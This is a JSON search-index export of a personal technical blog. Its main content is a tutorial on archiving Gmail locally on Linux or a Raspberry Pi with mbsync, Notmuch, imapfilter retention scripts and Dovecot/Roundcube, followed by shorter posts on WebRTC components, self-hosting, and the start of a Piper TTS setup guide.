[{"content":"","date":null,"permalink":"https:\/\/rmauro.dev\/tags\/automation\/","section":"Tags","summary":"","title":"Automation"},{"content":"","date":null,"permalink":"https:\/\/rmauro.dev\/tags\/gmail\/","section":"Tags","summary":"","title":"Gmail"},{"content":"","date":null,"permalink":"https:\/\/rmauro.dev\/tags\/imap\/","section":"Tags","summary":"","title":"IMAP"},{"content":"Linux Email Archive (Pi4\/Pi5 Compatible) #Introduction #If your Gmail account keeps growing, this setup gives you the best of both worlds: a lean cloud mailbox and a complete local archive you fully control. In this guide, you will mirror all mail to a Linux host using Maildir, index everything with Notmuch for fast local search, and enforce a retention policy that keeps only the last 90 days on Gmail while preserving full history locally.\nThis walkthrough is designed to be practical and production-friendly: secure credential handling with pass, unattended sync with cron, retention cleanup with imapfilter, and optional web access to your archive through Dovecot + Roundcube.\nQuick Navigation # Step 0: Set Environment Variables First Objective Architecture Decisions Made Step 1: Enable IMAP on Gmail Step 2: Install Software on Linux Step 3: Configure mbsync Step 4: Initialize Notmuch Index Step 5: Retention Policy (Keep Only Last 3 Months on Gmail) Step 6: Automation via Cron Step 7: Storage Recommendations Step 8: Safety Checks Step 9: Accessing Mail from Windows (Dovecot + Roundcube) Troubleshooting Step 0: Set Environment Variables First #Set these once in your shell before running the rest of the steps:\nexport GMAIL_ADDRESS="you@gmail.com" export MAIL_ROOT="\/srv\/mail-archive" export LOCAL_MAIL_USER="pi" export ADMIN_USER="pi" export MAIL_GROUP_GID="1003" export PI_TIMEZONE="UTC" export DOVECOT_LOGIN_USER="archive" export DOVECOT_LOGIN_PASSWORD="change-this-strong-password" Optional: persist them in your shell profile so they survive reboot\/login:\ncat >> ~\/.profile <<'EOF' export GMAIL_ADDRESS="you@gmail.com" export MAIL_ROOT="\/srv\/mail-archive" export LOCAL_MAIL_USER="pi" export ADMIN_USER="pi" export MAIL_GROUP_GID="1003" export PI_TIMEZONE="UTC" export DOVECOT_LOGIN_USER="archive" export DOVECOT_LOGIN_PASSWORD="change-this-strong-password" EOF Reload your shell after updating ~\/.profile:\nsource ~\/.profile Objective #Create a local full-email archive on Linux while keeping only the last 3 months of emails on the remote Gmail account. This works on Raspberry Pi 4, Raspberry Pi 5, and standard Linux servers\/VMs. All messages must be searchable locally.\nArchitecture #Gmail (IMAP) \u2192 mbsync \u2192 Local Maildir (Linux host) \u2192 Notmuch index \u2192 Local search Local archive: Full history of all emails, indexed and searchable via Notmuch Remote mailbox: Rolling 3-month window; older mail deleted from Gmail but preserved locally Host role: Mirror + search engine only. Gmail remains the primary sender\/receiver. Decisions Made # Decision Choice Rationale Sync tool mbsync (isync) Mature, efficient, widely trusted, Maildir-native Mail format Maildir Compatible with mbsync, Notmuch, Mutt, and most Unix tools Search engine Notmuch Fast full-text indexing over Maildir; tag-based Auth method App Password via pass Avoids storing plaintext credentials; works with Gmail 2FA Deletion scope Remote only (Gmail) Local archive is never touched by retention policy Retention tool imapfilter Deletes directly on Gmail IMAP server; mbsync is sync-only Storage External USB SSD (for >50GB) SD card wear is a concern for frequent write workloads Step 1: Enable IMAP on Gmail # Go to Gmail Settings \u2192 Forwarding and POP\/IMAP Enable IMAP Since 2FA is required for App Passwords, enable it in your Google Account if not already active Create an App Password # Open Google Account Security Settings Navigate to App Passwords Choose: App = Mail, Device = Other \u2192 name it Linux archive Copy the generated password into your password manager Note: Use this app password everywhere below instead of your main Google password.\nStep 2: Install Software on Linux #sudo apt update sudo apt install isync notmuch msmtp mutt pass imapfilter Package Role isync Provides the mbsync binary for IMAP sync notmuch Indexes and searches local mail imapfilter Deletes old messages directly on Gmail IMAP server msmtp Sends mail via SMTP (optional) mutt Terminal mail client (optional) pass Unix password manager for secure credential storage Store credentials with pass #1. Generate a GPG key (skip if you already have one):\ngpg --full-generate-key Key type: (1) RSA and RSA Key size: 4096 Expiry: 0 (no expiry) Enter your name and email Set a passphrase \u2014 you’ll need this whenever GPG decrypts credentials 2. Initialize pass with your key:\ngpg --list-keys # confirm key exists, note the email pass init "$GMAIL_ADDRESS" 3. Insert the Gmail App Password:\npass insert gmail # paste your App Password when prompted 4. Verify it works:\npass show gmail # should print the app password GPG agent (required for cron to work unattended) #When mbsync runs from cron there is no terminal session, so GPG needs an agent to cache your passphrase. Add this to ~\/.bashrc or ~\/.profile:\nexport GPG_TTY=$(tty) Set a long cache TTL in ~\/.gnupg\/gpg-agent.conf:\ndefault-cache-ttl 86400 # 24 hours max-cache-ttl 604800 # 7 days Restart the agent:\ngpg-connect-agent reloadagent \/bye After a reboot, run pass show gmail once manually to unlock the key. Cron jobs will then work unattended for the rest of the day\/week without prompting.\nStep 3: Configure mbsync #Create ~\/.mbsyncrc with your variables:\ncat > ~\/.mbsyncrc <<EOF IMAPAccount gmail Host imap.gmail.com User ${GMAIL_ADDRESS} PassCmd "pass show gmail" TLSType IMAPS Port 993 CertificateFile \/etc\/ssl\/certs\/ca-certificates.crt IMAPStore gmail-remote Account gmail MaildirStore gmail-local Path ${MAIL_ROOT}\/gmail\/ Inbox ${MAIL_ROOT}\/gmail\/Inbox\/ SubFolders Verbatim Channel gmail Far :gmail-remote: Near :gmail-local: Patterns * Create Both SyncState * EOF chmod 600 ~\/.mbsyncrc Key decisions in this config:\nPassCmd "pass show gmail": mbsync calls pass at runtime \u2014 no plaintext password is ever stored in the config file TLSType IMAPS: use TLSType not SSLType \u2014 the latter is deprecated and causes a warning CertificateFile: explicitly set to avoid SSL verification issues on minimal Linux installs (including Raspberry Pi OS) SubFolders Verbatim: required to prevent mbsync from failing on the .notmuch\/xapian subfolder. It must be combined with an explicit Inbox path; otherwise, mbsync defaults to ~\/Maildir. Expunge Far is intentionally omitted: mbsync is used for syncing only, never for deletion. Remote cleanup is handled exclusively by imapfilter. Test the connection (before syncing) ## Dry run \u2014 connects and lists folders but downloads nothing mbsync --dry-run gmail If this succeeds without errors, proceed to the full sync.\nRun the initial full sync #mbsync -a This may take a while on the first run depending on mailbox size.\nVerify mail landed locally #ls "$MAIL_ROOT"\/gmail\/ find "$MAIL_ROOT"\/gmail\/ -type f | wc -l # count synced messages Step 4: Initialize Notmuch Index #notmuch setup # configure name, email, mail root -> set path to $MAIL_ROOT\/gmail\/ notmuch new # index all synced mail Verify the index:\nnotmuch count # should return total number of messages notmuch search from:someone@example.com Step 5: Retention Policy (Keep Only Last 3 Months on Gmail) #The goal is to delete messages older than 3 months directly on Gmail’s IMAP server, while leaving the local archive completely untouched.\nmbsync is not used for deletion. It is a sync-only tool. Remote cleanup is handled exclusively by imapfilter, a lightweight Lua-scriptable IMAP client that operates directly on the server.\nInstall imapfilter #sudo apt install imapfilter Retention script #Save as $MAIL_ROOT\/scripts\/gmail_retention.lua:\nImportant Gmail note: For regular mailboxes, delete_messages() works as expected. For [Gmail]\/All Mail however, delete_messages() only archives messages instead of permanently deleting them. The correct approach for All Mail is to move messages to Trash first, then delete from Trash.\noptions.timeout = 120 options.subscribe = false options.expunge = true print('RUNNING - connecting to Gmail...') local ok, err = pcall(function() account = IMAP { server = 'imap.gmail.com', username = os.getenv('GMAIL_ADDRESS'), password = os.getenv('GMAIL_PASS'), ssl = 'tls1.2', } print('CONNECTED - deleting old messages...') -- Delete from all regular mailboxes local mailboxes, folders = account:list_all('') for _, mailbox in ipairs(mailboxes) do local ok_inner, err_inner = pcall(function() local messages = account[mailbox]:is_older(90) if #messages > 0 then print('Deleting ' .. #messages .. ' messages from ' .. mailbox) messages:delete_messages() end end) if not ok_inner then print('ERROR on mailbox ' .. mailbox .. ': ' .. err_inner .. ' - skipping') end end -- For [Gmail]\/All Mail: move to Trash first, then delete from Trash -- delete_messages() on All Mail only archives, not permanently deletes local ok_am, err_am = pcall(function() local messages = account['[Gmail]\/All Mail']:is_older(90) if #messages > 0 then print('[Gmail]\/All Mail: ' .. #messages .. ' old messages, moving to Trash...') messages:move_messages(account['[Gmail]\/Trash']) print('Moved to Trash. Deleting from Trash...') local trash = account['[Gmail]\/Trash']:select_all() trash:delete_messages() print('[Gmail]\/All Mail: done.') end end) if not ok_am then print('ERROR on [Gmail]\/All Mail: ' .. err_am .. ' - skipping') end end) if not ok then print('ERROR: ' .. err) print('Waiting 60 seconds before exit...') os.execute('sleep 60') end print('DONE') Dry-run script #Before running the real deletion, use this script to preview what would be deleted without changing anything. Save it as $MAIL_ROOT\/scripts\/gmail_retention_dryrun.lua:\noptions.timeout = 120 options.subscribe = false print('RUNNING - connecting to Gmail...') local total_all = 0 local total_old = 0 local ok, err = pcall(function() account = IMAP { server = 'imap.gmail.com', username = os.getenv('GMAIL_ADDRESS'), password = os.getenv('GMAIL_PASS'), ssl = 'tls1.2', } print('CONNECTED - listing mailboxes...') local mailboxes, folders = account:list_all('') print('Mailboxes found: ' .. #mailboxes) for _, mailbox in ipairs(mailboxes) do local ok_inner, err_inner = pcall(function() local all_messages = account[mailbox]:select_all() local old_messages = account[mailbox]:is_older(90) print(mailbox .. ': ' .. #all_messages .. ' total, ' .. #old_messages .. ' older than 90 days') total_all = total_all + #all_messages total_old = total_old + #old_messages end) if not ok_inner then print('ERROR on mailbox ' .. mailbox .. ': ' .. err_inner .. ' - skipping') end end -- Check [Gmail]\/All Mail separately (catches Promotions, Social, Updates, Forums) local ok_am, err_am = pcall(function() local all_messages = account['[Gmail]\/All Mail']:select_all() local old_messages = account['[Gmail]\/All Mail']:is_older(90) print('[Gmail]\/All Mail: ' .. #all_messages .. ' total, ' .. #old_messages .. ' older than 90 days') total_all = total_all + #all_messages total_old = total_old + #old_messages end) if not ok_am then print('[Gmail]\/All Mail: NOT ACCESSIBLE') end end) if not ok then print('ERROR: ' .. err) os.execute('sleep 60') end print('---') print('TOTAL: ' .. total_all .. ' messages, ' .. total_old .. ' would be deleted') print('DONE') Run the dry-run inside tmux \u2014 it can take a while with large mailboxes:\ntmux new -s retention-dryrun GMAIL_PASS=$(pass show gmail) imapfilter -c "$MAIL_ROOT"\/scripts\/gmail_retention_dryrun.lua Detach with Ctrl+B then D, reattach later with tmux attach -t retention-dryrun.\nRun the real deletion #Run inside tmux with a retry loop in case of timeouts:\ntmux new -s retention while true; do GMAIL_PASS=$(pass show gmail) imapfilter -c "$MAIL_ROOT"\/scripts\/gmail_retention.lua echo "[$(date)] exited, waiting 60s..." sleep 60 done Detach with Ctrl+B then D. When done, verify with the dry-run script \u2014 it should show 0 would be deleted.\nAlways verify before running # Step 6: Automation via Cron #crontab -e Add the following:\nMAIL_ROOT=\/srv\/mail-archive GMAIL_ADDRESS=you@gmail.com # Sync mail every hour 0 * * * * \/usr\/bin\/mbsync -a >> ${MAIL_ROOT}\/logs\/mbsync.log 2>&1 # Re-index after sync (runs just after mbsync) 5 * * * * \/usr\/bin\/notmuch new >> ${MAIL_ROOT}\/logs\/notmuch.log 2>&1 # Lock mail files to read-only after each sync (preserves metadata files as rw) 6 * * * * find ${MAIL_ROOT}\/gmail -type f \\( -name "*:2,*" -o -name "*.eml" \\) -print0 | xargs -0 chmod 444 >> ${MAIL_ROOT}\/logs\/chmod.log 2>&1 # Run Gmail retention cleanup weekly on Sunday at 2am (deletes remote only, never local) 0 2 * * 0 GMAIL_ADDRESS=${GMAIL_ADDRESS} GMAIL_PASS=$(pass show gmail) \/usr\/bin\/imapfilter -c ${MAIL_ROOT}\/scripts\/gmail_retention.lua >> ${MAIL_ROOT}\/logs\/retention.log 2>&1 Create the required directories:\nmkdir -p "$MAIL_ROOT"\/gmail mkdir -p "$MAIL_ROOT"\/logs mkdir -p "$MAIL_ROOT"\/scripts Step 7: Storage Recommendations # SD card: acceptable for OS and software only External USB SSD: required for mail storage if archive exceeds ~10\u201320 GB (SD cards degrade quickly under frequent small writes) Mount the SSD and ensure $MAIL_ROOT points to it Optional: compress old folders periodically with tar to reclaim space Directory layout #$MAIL_ROOT\/ \u251c\u2500\u2500 gmail\/ \u2190 Maildir mail storage \u251c\u2500\u2500 logs\/ \u2190 mbsync, notmuch, retention logs \u2514\u2500\u2500 scripts\/ \u2190 gmail_retention.lua and future scripts Step 8: Safety Checks #Always verify the local archive is intact and Gmail retention is working correctly:\n# Total messages in local archive (should grow over time, never shrink) notmuch count # Messages older than 3 months in local archive (expected to be large \u2014 we keep everything locally) notmuch count date:..3months # Confirm recent messages are present notmuch search date:1month.. | head -20 Expected results:\nnotmuch count \u2192 total archive size, should never decrease notmuch count date:..3months \u2192 large number is correct \u2014 local archive keeps all history Gmail should only have ~last 3 months \u2014 verify with the dry-run script Verify Gmail retention is clean:\nGMAIL_PASS=$(pass show gmail) imapfilter -c "$MAIL_ROOT"\/scripts\/gmail_retention_dryrun.lua The output should show 0 would be deleted if the weekly cron has run recently.\nAdditional safeguards:\nNever run rm on $MAIL_ROOT\/gmail\/ - local archive is permanent Avoid running multiple parallel sync\/delete jobs \u2014 Gmail IMAP throttles aggressively Keep logs from cron jobs and review them periodically Consider a periodic backup of the local Maildir to an external drive or remote storage Step 9: Accessing Mail from Windows (Dovecot + Roundcube) #To read your archived mail from any browser on the local network, run Dovecot (IMAP server) and Roundcube (web mail client) in Docker on the Pi.\nKey notes:\nThe dovecot\/dovecot:2.4.2-arm64 image runs as UID 1000 (vmail) Mail files must be owned by a shared group that both $LOCAL_MAIL_USER (mbsync) and UID 1000 (Dovecot) belong to Dovecot needs group_add: ["$MAIL_GROUP_GID"] to access files owned by mailgroup Set up file permissions #Create a shared group and set correct ownership (run as $ADMIN_USER or with sudo):\nsudo groupadd mailgroup sudo usermod -aG mailgroup "$ADMIN_USER" sudo usermod -aG mailgroup "$LOCAL_MAIL_USER" sudo chown -R "$LOCAL_MAIL_USER":mailgroup "$MAIL_ROOT"\/gmail sudo find "$MAIL_ROOT"\/gmail -type d -exec chmod 2775 {} + sudo find "$MAIL_ROOT"\/gmail -type f -exec chmod 664 {} + # Lock actual mail files to read-only sudo find "$MAIL_ROOT"\/gmail -type f \\( -name "*:2,*" -o -name "*.eml" \\) -exec chmod 444 {} + Note: GID of mailgroup must match the group_add value in docker-compose. Verify with getent group mailgroup and update $MAIL_GROUP_GID.\nCreate the project directory #mkdir -p ~\/projects\/dovecot\/conf.d Create the docker-compose file #Save as ~\/projects\/dovecot\/docker-compose.yml:\nservices: dovecot: image: dovecot\/dovecot:2.4.2-arm64 container_name: dovecot restart: unless-stopped group_add: - "${MAIL_GROUP_GID}" volumes: - ${MAIL_ROOT}\/gmail:\/srv\/vmail\/${DOVECOT_LOGIN_USER}\/mail - .\/conf.d:\/etc\/dovecot\/conf.d:ro environment: - TZ=${PI_TIMEZONE} - USER_PASSWORD=${DOVECOT_LOGIN_PASSWORD} networks: - mailnet roundcube: image: roundcube\/roundcubemail:1.6.13-apache-nonroot container_name: roundcube restart: unless-stopped ports: - "8080:8000" environment: - ROUNDCUBEMAIL_DEFAULT_HOST=dovecot - ROUNDCUBEMAIL_DEFAULT_PORT=31143 - ROUNDCUBEMAIL_SMTP_SERVER= - ROUNDCUBEMAIL_PLUGINS=archive depends_on: - dovecot networks: - mailnet networks: mailnet: driver: bridge Create the Dovecot config drop-in #Save as ~\/projects\/dovecot\/conf.d\/auth-mechanisms.conf:\npassdb static { password = $ENV:USER_PASSWORD } auth_mechanisms { plain = yes login = yes } auth_allow_cleartext = yes mailbox_list_layout = fs Note: mailbox_list_layout = fs is required for Dovecot to correctly read the Maildir folder structure synced by mbsync.\nStart the stack #cd ~\/projects\/dovecot docker compose up -d docker compose logs --follow You should see: Dovecot v2.4.2 starting up for imap... with no errors.\nVerify mailboxes are visible:\ndocker exec dovecot \/dovecot\/bin\/doveadm mailbox list -u "$DOVECOT_LOGIN_USER" Access Roundcube #Open a browser and go to:\nhttp:\/\/<host-ip>:8080 Login with username $DOVECOT_LOGIN_USER and the password set in USER_PASSWORD.\nIf folders don’t appear: Go to Settings \u2192 Folders in Roundcube and click Subscribe on the folders you want to see.\nFind the host local IP #hostname -I Useful commands ## Stop the stack docker compose -f ~\/projects\/dovecot\/docker-compose.yml down # Restart the stack docker compose -f ~\/projects\/dovecot\/docker-compose.yml restart # View logs docker compose -f ~\/projects\/dovecot\/docker-compose.yml logs --follow # List mailboxes (debug) docker exec dovecot \/dovecot\/bin\/doveadm mailbox list -u "$DOVECOT_LOGIN_USER" Troubleshooting # Problem Likely cause Fix Old messages still visible in Gmail after deletion delete_messages() on [Gmail]\/All Mail only archives Move to [Gmail]\/Trash first, then delete from Trash Dovecot permission denied on mail directory Dovecot UID 1000 not in mailgroup Add group_add: ["${MAIL_GROUP_GID}"] to dovecot service in docker-compose Roundcube shows no folders mailbox_list_layout not set Add mailbox_list_layout = fs to conf.d\/auth-mechanisms.conf Roundcube folders not subscribed Default subscription state Go to Settings \u2192 Folders \u2192 Subscribe all mbsync creates ~\/Maildir instead of using $MAIL_ROOT\/gmail\/ Inbox line missing from MaildirStore Add Inbox ${MAIL_ROOT}\/gmail\/Inbox\/ to the MaildirStore block mbsync errors on .notmuch\/xapian subfolder SubFolders style not set Add SubFolders Verbatim to the MaildirStore block in .mbsyncrc mbsync shows SSLType is deprecated warning Old config Replace SSLType with TLSType in .mbsyncrc imapfilter auth fails Wrong password or env var not set Run GMAIL_PASS=$(pass show gmail) imapfilter -c ... manually to test pass show gmail fails GPG key not found Re-run gpg --full-generate-key, then pass init and pass insert gmail mbsync works manually but fails in cron GPG passphrase not cached Run pass show gmail once after reboot; check gpg-agent.conf TTL Notmuch finds 0 messages Wrong mail root in setup Re-run notmuch setup, set path to $MAIL_ROOT\/gmail\/ Gmail blocks login App password not used Generate App Password in Google Account settings ","date":"March 13, 2026","permalink":"https:\/\/rmauro.dev\/keep-gmail-lean-archive-everything-locally-on-raspberry\/","section":"Posts","summary":"

Linux Email Archive (Pi4\/Pi5 Compatible) #<\/a><\/span><\/h1>

Introduction #<\/a><\/span><\/h2>

If your Gmail account keeps growing, this setup gives you the best of both worlds: a lean cloud mailbox and a complete local archive you fully control. In this guide, you will mirror all mail to a Linux host using Maildir, index everything with Notmuch for fast local search, and enforce a retention policy that keeps only the last 90 days on Gmail while preserving full history locally.<\/p>","title":"Keep Gmail Lean: Archive Everything Locally on Linux (Pi4\/Pi5 Included)"},{"content":"","date":null,"permalink":"https:\/\/rmauro.dev\/tags\/linux\/","section":"Tags","summary":"","title":"Linux"},{"content":"","date":null,"permalink":"https:\/\/rmauro.dev\/posts\/","section":"Posts","summary":"","title":"Posts"},{"content":"","date":null,"permalink":"https:\/\/rmauro.dev\/tags\/raspberry-pi\/","section":"Tags","summary":"","title":"Raspberry Pi"},{"content":"","date":null,"permalink":"https:\/\/rmauro.dev\/","section":"rmauro.dev \u2014 Technical Blog","summary":"","title":"rmauro.dev \u2014 Technical Blog"},{"content":"","date":null,"permalink":"https:\/\/rmauro.dev\/tags\/","section":"Tags","summary":"","title":"Tags"},{"content":"","date":null,"permalink":"https:\/\/rmauro.dev\/tags\/ice\/","section":"Tags","summary":"","title":"ICE"},{"content":"","date":null,"permalink":"https:\/\/rmauro.dev\/tags\/nat-traversal\/","section":"Tags","summary":"","title":"NAT Traversal"},{"content":"","date":null,"permalink":"https:\/\/rmauro.dev\/tags\/open-source\/","section":"Tags","summary":"","title":"Open-Source"},{"content":"","date":null,"permalink":"https:\/\/rmauro.dev\/tags\/sfu\/","section":"Tags","summary":"","title":"SFU"},{"content":"","date":null,"permalink":"https:\/\/rmauro.dev\/tags\/streaming\/","section":"Tags","summary":"","title":"Streaming"},{"content":"","date":null,"permalink":"https:\/\/rmauro.dev\/tags\/stun\/","section":"Tags","summary":"","title":"STUN"},{"content":"","date":null,"permalink":"https:\/\/rmauro.dev\/tags\/turn\/","section":"Tags","summary":"","title":"TURN"},{"content":"","date":null,"permalink":"https:\/\/rmauro.dev\/tags\/webrtc\/","section":"Tags","summary":"","title":"WebRTC"},{"content":"If you\u2019ve ever joined a Google Meet call, participated in an online game with voice chat, or watched a live stream in your browser, you\u2019ve likely used WebRTC without even realizing it.\nIt\u2019s the technology that enables real-time, peer-to-peer communication directly in browsers and apps - no plugins required.\nBehind the scenes, however, making two devices talk to each other across the internet is more complex than it sounds. Firewalls, NAT devices, and varying network conditions make direct connections challenging.\nThis is where ICE, TURN, and SFU come in.\nICE - The Connection Negotiator #ICE (Interactive Connectivity Establishment) is responsible for figuring out how two peers can best connect to each other.\nIt does this by collecting possible connection options - called candidates - and testing them until it finds one that works.\nThere are three types of candidates:\nHost candidates: Local IP addresses (e.g., 192.168.1.5). Works if both peers are on the same network. Server reflexive candidates: Public IP addresses discovered via a STUN server. Relay candidates: IP addresses provided by a TURN server when direct routes fail. ICE tries the best candidates first (usually direct connections) and falls back to less optimal ones if needed.\nICE Open Source Implementations # Pion ICE - implemented in Go Nice: GLib ICE library - library written in C TURN - The Reliable Relay #TURN (Traversal Using Relays around NAT) is the fallback option when a direct peer-to-peer connection isn\u2019t possible - often because of strict firewalls or certain types of NAT.\nIn this case, the media stream is relayed through a TURN server.\nWhile TURN guarantees connectivity, it comes at a cost:\nHigher latency (because traffic goes through an extra hop) Increased bandwidth usage on the server Operational cost for running a high-bandwidth service For production deployments, having a TURN server is essential to ensure your application works in all network environments.\nTURN servers Open Source Implementations # coturn - TURN and STUN Server implementation using C restund - Lightweight option also implemented in C SFU - The Bandwidth Optimizer for Group Calls #In one-to-one calls, direct peer-to-peer works fine. But for group calls, sending multiple streams from each participant to all others quickly becomes inefficient.\nAn SFU (Selective Forwarding Unit) solves this problem.\nWith an SFU:\nEach participant sends one media stream to the SFU The SFU forwards that stream to other participants The SFU may send different quality versions depending on the recipient\u2019s connection This greatly reduces the upload bandwidth requirement for participants and improves call scalability.\nSFUs Open Source Implementations # ion-sfu - Pure Go WebRTC SFU mediasoup - Node.js-friendly and customizable Putting It All Together #A production-ready WebRTC deployment often looks like this:\nSignaling Server - Exchanges session descriptions and ICE candidates between peers STUN\/TURN Server - Handles NAT traversal and relaying when necessary SFU (Optional) - For multi-party calls, optimizes bandwidth usage Application Server - Manages rooms, authentication, and user states Example Flow: #Browser A \u2194 ICE \u2194 (STUN\/TURN if needed) \u2194 Browser B Browser A \u2192 SFU \u2192 Multiple Participants Final Thoughts #WebRTC is often called a \u201cpeer-to-peer\u201d technology, but in practice, most real-world systems rely on a mix of ICE, TURN, and often SFU to work reliably.\nICE finds the best path. TURN guarantees a connection when direct paths fail. SFU keeps group calls efficient. Understanding these components isn\u2019t just about building WebRTC apps - it\u2019s about knowing how to make them work everywhere, for everyone.\n","date":"August 5, 2025","permalink":"https:\/\/rmauro.dev\/webrtc-deep-dive-ice-turn-and-sfu\/","section":"Posts","summary":"

If you\u2019ve ever joined a Google Meet call, participated in an online game with voice chat, or watched a live stream in your browser, you\u2019ve likely used WebRTC without even realizing it.<\/p>\n

It\u2019s the technology that enables real-time, peer-to-peer communication directly in browsers and apps - no plugins required.<\/p>\n

Behind the scenes, however, making two devices talk to each other across the internet is more complex than it sounds. Firewalls, NAT devices, and varying network conditions make direct connections challenging.<\/p>","title":"WebRTC Deep Dive: ICE, TURN, and SFU"},{"content":"","date":null,"permalink":"https:\/\/rmauro.dev\/tags\/cloud\/","section":"Tags","summary":"","title":"Cloud"},{"content":"","date":null,"permalink":"https:\/\/rmauro.dev\/tags\/docker\/","section":"Tags","summary":"","title":"Docker"},{"content":"At some point, you start to wonder: what would it take to run the services I rely on most \u2014 myself?\nI wasn\u2019t aiming for a dramatic cloud exodus. But I wanted more control over the services I use every day \u2014 especially for photo storage, document management, and backups. Rather than spreading my personal data across Google Photos, Google Drive, Dropbox, and iCloud, I decided to take a different path.\nThis is Part 1 of that journey \u2014 the why, what, and how of building a self-hosted stack to own my data and simplify my digital life.\nWhy Self-Host? #This isn\u2019t about rejecting all cloud tools. I still use plenty. But for the data that matters \u2014 my photos, key documents, and reliable backups \u2014 I wanted:\nAutomatic photo backup from my phone \u2014 without feeding an AI model \ud83e\udd2e A searchable archive for bills, receipts, and scanned documents Backups I can configure, test, and restore with confidence Secure access to my services, anywhere, on my terms And ideally, a little satisfaction from building something for myself For me, replacing Google Photos, Google Drive, Dropbox, and OneDrive with tools I could control seemed like a good place to start.\nThe Stack \u2014 Services with a Purpose #This isn\u2019t a sprawling homelab. It\u2019s a focused stack for real-world needs, not overengineering.\nImmich \u2014 Photo Management and Uploads #Immich (here) is now my Google Photos (and iCloud Photos) replacement. Here\u2019s why it won instantly:\nAutomatic photo and video uploads from iOS and Android Timeline, albums, and face recognition Lightweight and Docker-friendly Clean, modern interface Status: Deployed and fully integrated into daily use.\nPaperless-ngx \u2014 Document Archival (Under Evaluation) #Paperless-ngx (link) aims to replace the old \u201cthrow PDFs into Google Drive or Dropbox\u201d approach. It OCRs, tags, and organizes bills, statements, receipts \u2014 anything I used to trust to cloud file storage.\nI\u2019m still evaluating if it\u2019ll stick for the long run, but it\u2019s a strong candidate for replacing ad-hoc cloud file dumping.\nStatus: In testing.\nWhy Not Just Keep Paying? #Let\u2019s be practical. Here\u2019s what these services charge beyond the free tier:\nService Monthly Cost (USD) Storage Included Purpose Google One $9.99 2 TB Google Drive, Photos, Gmail iCloud+ $9.99 2 TB iCloud Drive, Photos Dropbox Plus $9.99 2 TB File storage & sync OneDrive 365 $6.99 1 TB OneDrive + Office apps Across a family or team, that adds up fast \u2014 $100\u2013$150\/year, every year.\nHere\u2019s what self-hosting actually cost me, one-time:\nRaspberry Pi 5 (8GB): ~$80 2TB NVMe SSD: ~$100 Heatsink + active cooling: ~$20 Total: ~$200 one-time, with no monthly fees More or less about it \ud83e\udd23\nYou\u2019ll pay a couple of dollars a month for power, but you own the hardware and the data. It\u2019s not just about money \u2014 it\u2019s about flexibility and peace of mind.\nBackup Strategy \u2014 In Progress #Backups matter. But I\u2019m still deciding on the best approach.\nOptions being tested:\nrsync \u2014 simple, robust local backups to USB\/NAS rclone \u2014 flexible for cloud or remote syncs borg, restic, duplicity \u2014 powerful snapshot-based options with encryption The backup destination is still up for debate between me, myself and I. A local USB disk every Friday is likely, but remote and cloud options aren\u2019t ruled out.\nStatus: In progress \ud83d\udc7a\nSecurity and Access #Security isn\u2019t about paranoia \u2014 it\u2019s about being intentional.\nNginx Proxy Manager handles HTTPS, TLS, and subdomain routing Cloudflare DNS is already set up for *.devgarage.app Fail2ban is being configured for brute-force protection Cloudflare Tunnel\/Access is under consideration for secure remote entry with no open ports Authelia or other open-source OIDC solutions are on my shortlist for internal SSO and more granular authentication in the future For now, I\u2019m keeping things simple, but leaving the door open for more advanced authentication as the stack grows.\nHosting Environment #Everything runs on a single, efficient device:\nRaspberry Pi 5 (ARM64, 8GB RAM) 2TB NVMe SSD, directly attached Active cooling and fans Raspberry Pi OS (64-bit) Docker Compose for deployment It\u2019s quiet, sips power, and handles the workload like a champ. Perfect for home or solo self-hosting.\nFile Structure #Keeping it tidy and simple, everything lives under \/naas:\n\/naas\/ \u251c\u2500\u2500 photos\/ # Managed by Immich \u251c\u2500\u2500 docs-inbox\/ # Drop zone for scanned files \u251c\u2500\u2500 docs-archive\/ # Processed and tagged by Paperless Backups will go to a separate mounted location, like \/mnt\/backup\/.\nArchitecture Diagram (Coming Soon) #A system diagram mapping domains, proxies, storage, and backup flow will be included in a future update.\nBenefits and Tradeoffs #\u2705 What\u2019s Working: # True ownership of important data No recurring cloud subscriptions Tools are focused and maintainable Easier to deploy and maintain than expected Flexibility to adapt, swap, and scale as needed \u26a0\ufe0f What\u2019s Still Evolving: # Backup tooling and destination Document workflow (still evaluating Paperless) Security hardening (fail2ban setup in progress) Ongoing tweaks and optimizations Final Thoughts #This project isn\u2019t finished \u2014 and that\u2019s by design. I\u2019m starting with the essentials, testing tools in real-world scenarios, and growing the stack slowly and deliberately.\nSo far, Immich is a clear win. Paperless may join it. Backups are next. With each step, there\u2019s a little more control and a little less reliance on cloud platforms I don\u2019t manage.\nAnd yes \u2014 I didn\u2019t forget about my blogging platform. This blog is on the list too.\nIf you\u2019re curious about self-hosting, you don\u2019t need to go all-in. Start with something small.\nPick one tool or service you\u2019d love to manage yourself, and see where the road takes you.\nJoin the Conversation #Curious about self-hosting? Already replaced a cloud service, or have a cautionary tale to share?\nDrop a comment below with your experience, questions, or the tools you\u2019ve enjoyed (or regretted!) using along the way.\nLet\u2019s compare notes, learn from each other, and make the world of personal infrastructure just a bit more approachable \u2014 one project at a time.\n","date":"July 22, 2025","permalink":"https:\/\/rmauro.dev\/on-the-road-to-host-my-own-data\/","section":"Posts","summary":"

At some point, you start to wonder: what would it take to run the services I rely on most \u2014 myself?<\/p>\n

I wasn\u2019t aiming for a dramatic cloud exodus. But I wanted more control over the services I use every day \u2014 especially for photo storage, document management, and backups. Rather than spreading my personal data across Google Photos, Google Drive, Dropbox, and iCloud, I decided to take a different path.<\/p>","title":"On the Road to Host My Own Data"},{"content":"","date":null,"permalink":"https:\/\/rmauro.dev\/tags\/self-hosted-ai\/","section":"Tags","summary":"","title":"Self-Hosted-Ai"},{"content":"","date":null,"permalink":"https:\/\/rmauro.dev\/tags\/ai-raspberry-pi\/","section":"Tags","summary":"","title":"Ai-Raspberry-Pi"},{"content":"","date":null,"permalink":"https:\/\/rmauro.dev\/tags\/huggingface\/","section":"Tags","summary":"","title":"Huggingface"},{"content":"Want to make your computer talk \u2014 using real, natural-sounding voices without needing the cloud?\nIn this tutorial, we\u2019ll set up Piper TTS on a local system and give it a voice. It\u2019s fast, offline, and perfect for voice assistants, robotics, Raspberry Pi projects, or just impressing your friends.\nWhat You\u2019ll Need # Python 3 installed (recommended: Python 3.8 or newer) Linux environment (x86_64 or ARM64) - or Windows with WSL Internet connection (just for setup) A speaker or headphones Terminal access I have tested on Raspberry Pi OS 64-bit (Bookworm), Ubuntu 22.04, and Windows 11 using WSL. Works on most modern 64-bit Linux environments.\nInstall Piper Using pip #Piper can now be installed easily via pip, but to avoid issues with system-managed Python environments, 